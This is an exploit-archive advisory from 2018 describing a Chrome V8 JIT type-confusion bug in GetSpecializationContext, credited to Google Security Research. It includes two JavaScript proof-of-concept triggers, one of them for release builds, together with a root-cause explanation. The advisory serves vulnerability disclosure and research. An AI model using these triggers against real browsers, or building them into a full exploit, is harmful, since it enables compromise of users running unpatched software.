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Chrome V8 JIT GetSpecializationContext Type Confusion

Chrome V8 JIT GetSpecializationContext Type Confusion
Posted Mar 5, 2018
Authored by Google Security Research, lokihardt

Chrome V8 JIT suffers from a type confusion vulnerability in GetSpecializationContext.

tags | exploit
SHA-256 | 99a6e3514cf19cca4fe6002bb305173115f88838cdba2875ffa1a4de4f173f43

Chrome V8 JIT GetSpecializationContext Type Confusion

Change Mirror Download
Chrome: V8: JIT: Type confusion in GetSpecializationContext 




PoC:
function* opt(arg = () => arg) {
let tmp = opt.x; // LdaNamedProperty
for (;;) {
arg;
yield;

function inner() {
tmp;
}

break;
}
}

for (let i = 0; i < 100000; i++) {
opt();
}

PoC for release build:
function* opt(arg = () => {
arg;
this;
}, opt) {
let tmp = arg.x;
for (;;) {
arg;
yield;

tmp = {
inner() {
tmp;
}
};
}
}

for (let i = 0; i < 10000; i++) {
opt();
}

What happened here is:
1. The LdaNamedProperty operation "opt.x" was lowered to a graph exit in the graph builder. This set the current environment to nullptr (BytecodeGraphBuilder::ApplyEarlyReduction).
2. The environment for the next block (for-loop) was supposed to be created from merging with the previous environment, but it had been set to nullptr at 1. So the context value remained as "undefined".
3. But GetSpecializationContext directly casted the context value to Context* which resulted in type confusion.



This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

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